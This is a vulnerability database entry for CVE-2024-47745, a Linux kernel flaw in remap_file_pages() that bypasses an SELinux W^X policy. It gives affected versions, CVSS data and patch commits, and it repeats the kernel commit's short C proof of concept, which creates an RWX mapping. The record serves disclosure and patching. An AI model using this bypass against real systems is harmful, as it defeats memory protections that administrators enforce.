CVE-2024-47745 (GCVE-0-2024-47745)

Vulnerability from cvelistv5 – Published: 2024-10-21 12:14 – Updated: 2026-05-23 15:53
VLAI
Title
mm: call the security_mmap_file() LSM hook in remap_file_pages()
Summary
In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]
Severity
No CVSS data available.
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator (v2.0.3)
Assigner
References
Impacted products
Vendor Product Version
Linux Linux Affected: c8d78c1823f46519473949d33f0d1d33fe21ea16 , < 0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1 (git)
Affected: c8d78c1823f46519473949d33f0d1d33fe21ea16 , < 49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178 (git)
Affected: c8d78c1823f46519473949d33f0d1d33fe21ea16 , < 3393fddbfa947c8e1fdcc4509226905ffffd8b89 (git)
Affected: c8d78c1823f46519473949d33f0d1d33fe21ea16 , < ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3 (git)
Affected: c8d78c1823f46519473949d33f0d1d33fe21ea16 , < ea7e2d5e49c05e5db1922387b09ca74aa40f46e2 (git)
Affected: 097f98edde717ce09f217d8a285fe357dcd29fd1 (git)
Affected: 3.16.59 , < 3.17 (semver)
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Linux Linux Affected: 4.0
Unaffected: 0 , < 4.0 (semver)
Unaffected: 6.1.120 , ≤ 6.1.* (semver)
Unaffected: 6.6.54 , ≤ 6.6.* (semver)
Unaffected: 6.10.13 , ≤ 6.10.* (semver)
Unaffected: 6.11.2 , ≤ 6.11.* (semver)
Unaffected: 6.12 , ≤ * (original_commit_for_fix)
Create a notification for this product.
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      "descriptions": "[{\"lang\": \"en\", \"value\": \"In the Linux kernel, the following vulnerability has been resolved:\\n\\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\\n\\nThe remap_file_pages syscall handler calls do_mmap() directly, which\\ndoesn\u0027t contain the LSM security check. And if the process has called\\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\\nRW pages, this will actually result in remapping the pages to RWX,\\nbypassing a W^X policy enforced by SELinux.\\n\\nSo we should check prot by security_mmap_file LSM hook in the\\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\\npotentially permits an attacker to bypass a W^X policy enforced by\\nSELinux.\\n\\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\\nAIO and can be found in [1].\\n\\nThe PoC:\\n\\n$ cat \u003e test.c\\n\\nint main(void) {\\n\\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\\n\\tint mfd = syscall(SYS_memfd_create, \\\"test\\\", 0);\\n\\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\\n\\t\\tMAP_SHARED, mfd, 0);\\n\\tunsigned int old = syscall(SYS_personality, 0xffffffff);\\n\\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\\n\\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\\n\\tsyscall(SYS_personality, old);\\n\\t// show the RWX page exists even if W^X policy is enforced\\n\\tint fd = open(\\\"/proc/self/maps\\\", O_RDONLY);\\n\\tunsigned char buf2[1024];\\n\\twhile (1) {\\n\\t\\tint ret = read(fd, buf2, 1024);\\n\\t\\tif (ret \u003c= 0) break;\\n\\t\\twrite(1, buf2, ret);\\n\\t}\\n\\tclose(fd);\\n}\\n\\n$ gcc test.c -o test\\n$ ./test | grep rwx\\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\\n\\n[PM: subject line tweaks]\"}, {\"lang\": \"es\", \"value\": \"En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: mm: llamar al gancho LSM security_mmap_file() en remap_file_pages() El controlador de llamadas al sistema remap_file_pages llama a do_mmap() directamente, que no contiene la comprobaci\\u00f3n de seguridad LSM. Y si el proceso ha llamado a personality(READ_IMPLIES_EXEC) antes y se llama a remap_file_pages() para p\\u00e1ginas RW, esto realmente dar\\u00e1 como resultado la reasignaci\\u00f3n de las p\\u00e1ginas a RWX, omitiendo una pol\\u00edtica W^X aplicada por SELinux. Por lo tanto, deber\\u00edamos comprobar prot mediante el gancho LSM security_mmap_file en el controlador de llamadas al sistema remap_file_pages antes de que se llame a do_mmap(). De lo contrario, potencialmente permite que un atacante omita una pol\\u00edtica W^X aplicada por SELinux. La omisi\\u00f3n es similar a CVE-2016-10044, que omite lo mismo a trav\\u00e9s de AIO y se puede encontrar en [1]. La PoC: $ cat \u0026gt; test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, \\\"test\\\", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // muestra que la p\\u00e1gina RWX existe incluso si se aplica la pol\\u00edtica W^X int fd = open(\\\"/proc/self/maps\\\", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret \u0026lt;= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (eliminado) [MP: ajustes en la l\\u00ednea de asunto]\"}]",
      "id": "CVE-2024-47745",
      "lastModified": "2024-12-14T21:15:26.217",
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    "nvd": "{\"cve\":{\"id\":\"CVE-2024-47745\",\"sourceIdentifier\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"published\":\"2024-10-21T13:15:04.580\",\"lastModified\":\"2026-05-12T19:07:20.937\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"In the Linux kernel, the following vulnerability has been resolved:\\n\\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\\n\\nThe remap_file_pages syscall handler calls do_mmap() directly, which\\ndoesn\u0027t contain the LSM security check. And if the process has called\\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\\nRW pages, this will actually result in remapping the pages to RWX,\\nbypassing a W^X policy enforced by SELinux.\\n\\nSo we should check prot by security_mmap_file LSM hook in the\\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\\npotentially permits an attacker to bypass a W^X policy enforced by\\nSELinux.\\n\\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\\nAIO and can be found in [1].\\n\\nThe PoC:\\n\\n$ cat \u003e test.c\\n\\nint main(void) {\\n\\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\\n\\tint mfd = syscall(SYS_memfd_create, \\\"test\\\", 0);\\n\\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\\n\\t\\tMAP_SHARED, mfd, 0);\\n\\tunsigned int old = syscall(SYS_personality, 0xffffffff);\\n\\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\\n\\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\\n\\tsyscall(SYS_personality, old);\\n\\t// show the RWX page exists even if W^X policy is enforced\\n\\tint fd = open(\\\"/proc/self/maps\\\", O_RDONLY);\\n\\tunsigned char buf2[1024];\\n\\twhile (1) {\\n\\t\\tint ret = read(fd, buf2, 1024);\\n\\t\\tif (ret \u003c= 0) break;\\n\\t\\twrite(1, buf2, ret);\\n\\t}\\n\\tclose(fd);\\n}\\n\\n$ gcc test.c -o test\\n$ ./test | grep rwx\\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\\n\\n[PM: subject line tweaks]\"},{\"lang\":\"es\",\"value\":\"En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: mm: llamar al gancho LSM security_mmap_file() en remap_file_pages() El controlador de llamadas al sistema remap_file_pages llama a do_mmap() directamente, que no contiene la comprobaci\u00f3n de seguridad LSM. Y si el proceso ha llamado a personality(READ_IMPLIES_EXEC) antes y se llama a remap_file_pages() para p\u00e1ginas RW, esto realmente dar\u00e1 como resultado la reasignaci\u00f3n de las p\u00e1ginas a RWX, omitiendo una pol\u00edtica W^X aplicada por SELinux. Por lo tanto, deber\u00edamos comprobar prot mediante el gancho LSM security_mmap_file en el controlador de llamadas al sistema remap_file_pages antes de que se llame a do_mmap(). De lo contrario, potencialmente permite que un atacante omita una pol\u00edtica W^X aplicada por SELinux. La omisi\u00f3n es similar a CVE-2016-10044, que omite lo mismo a trav\u00e9s de AIO y se puede encontrar en [1]. La PoC: $ cat \u0026gt; test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, \\\"test\\\", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // muestra que la p\u00e1gina RWX existe incluso si se aplica la pol\u00edtica W^X int fd = open(\\\"/proc/self/maps\\\", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret \u0026lt;= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (eliminado) [MP: ajustes en la l\u00ednea de asunto]\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":7.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.8,\"impactScore\":5.9}]},\"weaknesses\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-670\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"FA6FEEC2-9F11-4643-8827-749718254FED\"}]}]},{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"6.1.120\",\"matchCriteriaId\":\"9B0FAB02-E16A-4263-9895-889F5A3200D5\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.2\",\"versionEndExcluding\":\"6.6.54\",\"matchCriteriaId\":\"D448821D-C085-4CAF-88FA-2DDE7BE21976\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.7\",\"versionEndExcluding\":\"6.10.13\",\"matchCriteriaId\":\"CE94BB8D-B0AB-4563-9ED7-A12122B56EBE\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.11\",\"versionEndExcluding\":\"6.11.2\",\"matchCriteriaId\":\"AB755D26-97F4-43B6-8604-CD076811E181\"}]}]}],\"references\":[{\"url\":\"https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Mailing List\",\"Third Party Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CVE Program Container\", \"references\": [{\"url\": \"https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html\"}], \"providerMetadata\": {\"orgId\": \"af854a3a-2127-422b-91ae-364da2661108\", \"shortName\": \"CVE\", \"dateUpdated\": \"2025-11-03T20:40:38.700Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2024-47745\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2024-10-21T12:58:41.257228Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2024-10-21T12:58:44.380Z\"}}], \"cna\": {\"title\": \"mm: call the security_mmap_file() LSM hook in remap_file_pages()\", \"affected\": [{\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"3393fddbfa947c8e1fdcc4509226905ffffd8b89\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"ea7e2d5e49c05e5db1922387b09ca74aa40f46e2\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"097f98edde717ce09f217d8a285fe357dcd29fd1\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"3.16.59\", \"lessThan\": \"3.17\", \"versionType\": \"semver\"}], \"programFiles\": [\"mm/mmap.c\"], \"defaultStatus\": \"unaffected\"}, {\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"4.0\"}, {\"status\": \"unaffected\", \"version\": \"0\", \"lessThan\": \"4.0\", \"versionType\": \"semver\"}, {\"status\": \"unaffected\", \"version\": \"6.1.120\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.1.*\"}, {\"status\": \"unaffected\", \"version\": \"6.6.54\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.6.*\"}, {\"status\": \"unaffected\", \"version\": \"6.10.13\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.10.*\"}, {\"status\": \"unaffected\", \"version\": \"6.11.2\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.11.*\"}, {\"status\": \"unaffected\", \"version\": \"6.12\", \"versionType\": \"original_commit_for_fix\", \"lessThanOrEqual\": \"*\"}], \"programFiles\": [\"mm/mmap.c\"], \"defaultStatus\": \"affected\"}], \"references\": [{\"url\": \"https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1\"}, {\"url\": \"https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178\"}, {\"url\": \"https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89\"}, {\"url\": \"https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3\"}, {\"url\": \"https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2\"}], \"x_generator\": {\"engine\": \"bippy-1.2.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"In the Linux kernel, the following vulnerability has been resolved:\\n\\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\\n\\nThe remap_file_pages syscall handler calls do_mmap() directly, which\\ndoesn\u0027t contain the LSM security check. And if the process has called\\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\\nRW pages, this will actually result in remapping the pages to RWX,\\nbypassing a W^X policy enforced by SELinux.\\n\\nSo we should check prot by security_mmap_file LSM hook in the\\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\\npotentially permits an attacker to bypass a W^X policy enforced by\\nSELinux.\\n\\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\\nAIO and can be found in [1].\\n\\nThe PoC:\\n\\n$ cat \u003e test.c\\n\\nint main(void) {\\n\\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\\n\\tint mfd = syscall(SYS_memfd_create, \\\"test\\\", 0);\\n\\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\\n\\t\\tMAP_SHARED, mfd, 0);\\n\\tunsigned int old = syscall(SYS_personality, 0xffffffff);\\n\\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\\n\\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\\n\\tsyscall(SYS_personality, old);\\n\\t// show the RWX page exists even if W^X policy is enforced\\n\\tint fd = open(\\\"/proc/self/maps\\\", O_RDONLY);\\n\\tunsigned char buf2[1024];\\n\\twhile (1) {\\n\\t\\tint ret = read(fd, buf2, 1024);\\n\\t\\tif (ret \u003c= 0) break;\\n\\t\\twrite(1, buf2, ret);\\n\\t}\\n\\tclose(fd);\\n}\\n\\n$ gcc test.c -o test\\n$ ./test | grep rwx\\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\\n\\n[PM: subject line tweaks]\"}], \"cpeApplicability\": [{\"nodes\": [{\"negate\": false, \"cpeMatch\": [{\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.1.120\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.6.54\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.10.13\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.11.2\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.12\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionStartIncluding\": \"3.16.59\"}], \"operator\": \"OR\"}]}], \"providerMetadata\": {\"orgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"shortName\": \"Linux\", \"dateUpdated\": \"2026-05-23T15:53:52.112Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2024-47745\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-05-23T15:53:52.112Z\", \"dateReserved\": \"2024-09-30T16:00:12.960Z\", \"assignerOrgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"datePublished\": \"2024-10-21T12:14:12.488Z\", \"assignerShortName\": \"Linux\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.